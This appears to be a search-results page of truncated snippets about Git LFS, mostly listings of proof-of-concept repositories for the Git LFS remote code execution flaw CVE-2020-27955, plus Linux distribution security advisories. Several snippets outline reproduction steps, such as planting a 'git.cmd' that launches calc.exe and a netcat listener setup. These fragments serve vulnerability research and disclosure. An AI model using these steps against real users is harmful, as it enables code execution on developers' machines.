ofrak

OFRAK OFRAK Open Firmware Reverse Analysis Konsole is a binary analysis and modification platform. OFRAK combines the ability to: Identify and Unpack many binary formats Analyze unpacked binaries with field-tested reverse engineering tools Modify and Repack binaries with powerful patching...

cve-2020-27955

cve-2020-27955 cve-2020-27955 재현 1. GitHub 저장소 생성 2. git clone https://github.com/attacker/poc.git . 3. echo calc.exe git.cmd 4. git lfs track “.dat” 5. echo “Junk” large.dat 6. git add -A 7. git commit -m “POC” 8. git push -u origin master -f...

CVE-2026-22004-Git-LFS-Pointer-Poisoning-Supply-Chain-

CVE-2026-22004 – Git LFS 포인터 중독 공급망 프로그램 코드 Bash + Python createmaliciousrepo.sh - Sets up a repo with poisoned LFS pointer git init git lfs track ".bin" echo "version https://git-lfs.github.com/spec/v1 oid sha256:4142434445464748494a4b4c4d4e4f505152535455565758595a616263646566 size 4" malware.bi...

git-lfs-RCE-exploit-CVE-2020-27955

Git-lfs 원격 코드 실행RCE 익스플로잇 CVE-2020-27955 .bat / powershell 버전 취약 대상: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken 등 발견자: Dawid Golunski https://legalhackers.com https://exploitbox.io Windows에서 테스트됨: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code,...

CVE-2020-27955

CVE-2020-27955 감사합니다 https://medium.com/bugbountywriteup/git-lfs-exploit-for-remote-code-execution-cve-2020-27955-e8f4786163c3...

git-lfs-RCE-exploit-CVE-2020-27955-Go

Git-lfs 원격 코드 실행 RCE 익스플로잇 CVE-2020-27955 Go 버전 취약: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken 등 Dawid Golunski 발견 https://legalhackers.com https://exploitbox.io Windows에서 테스트 완료: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree,...

CVE-2020-27955-LFS

Эксплойт удаленного выполнения кода RCE Git-lfs CVE-2020-27955 .bat / powershell версия Уязвимые: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken и т.д. Обнаружено Dawid Golunski https://legalhackers.com https://exploitbox.io Протестировано на Windows на:...

CVE-2020-27955

CVE-2020-27955 취약점 재현 1. Windows 머신에서 취약한 버전의 Git-LFS 다운로드 다운로드 주소: https://github.com/git-for-windows/git/releases/tag/v2.29.2.windows.1 2. Windows 머신에 설치한 후 host 파일에 다음 정보를 추가합니다. 10.1.1.5는 nc가 8888 포트를 리슨하는 호스트입니다직접 교체 가능 10.1.1.5 abcall.xyz 3. 10.1.1.5 호스트에서 nc로 8888 포트 리슨 시작 ┌──root㉿hostname...

CVE-2020-27955-LFS-main

Git-lfs 원격 코드 실행 RCE 익스플로잇 CVE-2020-27955 .bat / powershell 버전 취약 대상: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken 등 Dawid Golunski 발견 https://legalhackers.com https://exploitbox.io Windows에서 테스트됨: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code,...

CVE-2020-27955-LFS

Git-lfs 원격 코드 실행 RCE 익스플로잇 CVE-2020-27955 .bat / powershell 버전 취약 대상: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken 등 발견자: Dawid Golunski https://legalhackers.com https://exploitbox.io Windows에서 테스트됨: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code...

CVE-2020-27955

Git-lfs 원격 코드 실행 RCE 익스플로잇 CVE-2020-27955 .bat / powershell 버전 취약한 대상: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken 등. Dawid Golunski 발견 https://legalhackers.com https://exploitbox.io Windows에서 테스트됨: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code...

CVE-2020-27955

Эксплойт удаленного выполнения кода RCE Git-lfs CVE-2020-27955 .bat / powershell версия Уязвимы: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken и др. Обнаружено Dawid Golunski https://legalhackers.com https://exploitbox.io Протестировано на Windows на: git...

CVE-2020-27955-LFS

Git-lfs 원격 코드 실행 RCE 익스플로잇 CVE-2020-27955 .bat / powershell 버전 취약 대상: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken 등 Dawid Golunski 가 발견함 https://legalhackers.com https://exploitbox.io Windows에서 테스트 완료: git, GitHub CLI gh, GitHub Desktop, Visual Studio...

AlmaLinux 9.2 [TuxCare] Security Update: git-lfs (ALMALINUX9.2:CLSA-2025:1762867600)

The AlmaLinux 9.2 host has a package installed that is affected by a vulnerability as referenced in the TuxCare ALMALINUX9.2:CLSA-2025:1762867600 advisory. - Git LFS is a Git extension for versioning large files. When Git LFS requests credentials from Git for a remote host, it passes portions of...

Rocky Linux 8 [CIQ] Security Update: git-lfs / git-lfs-debuginfo / git-lfs-debugsource (crlsa-2026_30853)

The Rocky Linux 8 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlsa-202630853 advisory. golang.org/x/net/idna: golang: golang.org/x/net/idna: Privilege escalation via incorrect Punycode label processing CVE-2026-39821 Tenable has extracted the precedi...

Rocky Linux 8 [CIQ] Security Update: git-lfs / git-lfs-debuginfo / git-lfs-debugsource Multiple Vulnerabilities (crlsa-2024_3346)

The Rocky Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-20243346 advisory. golang: net/http, x/net/http2: unlimited number of CONTINUATION frames causes DoS CVE-2023-45288 golang: net/http/cookiejar: incorrect forwarding of...

Rocky Linux 8 [CIQ] Security Update: git-lfs / git-lfs-debuginfo / git-lfs-debugsource Multiple Vulnerabilities (crlsa-2026_67161)

The Rocky Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-202667161 advisory. encoding/asn1: golang: Go encoding/asn1: Denial of Service via excessive recursion in Unmarshal CVE-2026-33818 net/url: golang: golang net/url: Denial of...

AlmaLinux 9.6 [TuxCare] Security Update: git-lfs (ALMALINUX9.6:CLSA-2026:1784541123)

The AlmaLinux 9.6 host has a package installed that is affected by a vulnerability as referenced in the TuxCare ALMALINUX9.6:CLSA-2026:1784541123 advisory. - When using LookupCNAME with the cgo DNS resolver, a very long CNAME response can trigger a double-free of C memory and a crash...

AlmaLinux 9.6 [TuxCare] Security Update: git-lfs Multiple Vulnerabilities (ALMALINUX9.6:CLSA-2026:1779120418)

The AlmaLinux 9.6 host has a package installed that is affected by multiple vulnerabilities as referenced in the TuxCare ALMALINUX9.6:CLSA-2026:1779120418 advisory. - During chain building, the amount of work that is done is not correctly limited when a large number of intermediate certificates a...

Rocky Linux 8 [CIQ] Security Update: git-lfs / git-lfs-debuginfo / git-lfs-debugsource (crlsa-2026_2323)

The Rocky Linux 8 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlsa-20262323 advisory. crypto/x509: golang: Denial of Service due to excessive resource consumption via crafted certificate CVE-2025-61729 Tenable has extracted the preceding description...